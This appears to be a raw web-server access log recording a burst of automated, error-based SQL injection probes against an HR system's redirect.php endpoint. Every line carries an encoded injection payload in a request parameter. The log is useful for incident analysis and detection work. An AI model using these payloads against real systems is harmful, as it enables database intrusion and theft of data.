100.64.0.1 - - [07/Sep/2025:02:21:58 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x42634a70%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x38456b30%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29%23&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:58 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x42634a70%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x38456b30%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29%23&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:21:58 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x314c3058%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7170796a%29%2C6420%29%23&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:58 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x314c3058%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7170796a%29%2C6420%29%23&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:21:58 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x66545843%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x32503167%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23%23&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:58 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x66545843%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x32503167%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23%23&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:21:58 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x474f4670%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x73597152%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29%23&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:58 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x474f4670%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x73597152%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29%23&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:21:58 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x767a5055%2C%28NULL%29%2C0x62466169%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:58 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x767a5055%2C%28NULL%29%2C0x62466169%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:21:58 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x4b314948%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x75744e35%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29%23&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:58 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x4b314948%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x75744e35%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29%23&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:21:58 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x67396d30%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x534b4970%29%29x%29%29%23&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:58 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x67396d30%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x534b4970%29%29x%29%29%23&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:21:58 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x38354d57%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x38533676%29%29x%29%29%23&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:58 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x38354d57%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x38533676%29%29x%29%29%23&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:21:58 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x55494439%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7176746d%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29%23&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:58 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x55494439%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7176746d%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29%23&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:21:59 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x4b73774f%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x736f6b59%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29%23&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:59 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x4b73774f%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x736f6b59%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29%23&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:21:59 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2FANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x48465745%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x59507070%29%29%2C1%29%23&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:59 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2FANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x48465745%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x59507070%29%29%2C1%29%23&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:21:59 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2FORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x6a674b51%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6f687461%29%29%2C1%29%23&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:59 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2FORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x6a674b51%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6f687461%29%29%2C1%29%23&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:21:59 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x56734350%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6a336778%29%2C5431%29%23&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:59 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x56734350%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6a336778%29%2C5431%29%23&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:21:59 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x78494a4c%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x73635237%29%2C5431%29%23&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:59 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x78494a4c%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x73635237%29%2C5431%29%23&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:21:59 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x68544535%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x536a6157%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23%23&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:59 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x68544535%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x536a6157%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23%23&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:21:59 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x395a6c41%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x78574f75%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23%23&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:59 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x395a6c41%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x78574f75%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23%23&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:21:59 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x4e55485a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x44754759%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29%23&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:59 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x4e55485a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x44754759%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29%23&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:21:59 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x4a763249%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6d4e6639%29%29%23&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:59 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x4a763249%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6d4e6639%29%29%23&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:21:59 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x50716b64%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x69715072%29%2C6420%29%23&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:59 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x50716b64%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x69715072%29%2C6420%29%23&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:21:59 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x737a3077%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x734c4467%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29%23&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:59 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x737a3077%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x734c4467%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29%23&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:21:59 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x505a7739%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7a576c48%29%2C6420%29%23&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:59 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x505a7739%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7a576c48%29%2C6420%29%23&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
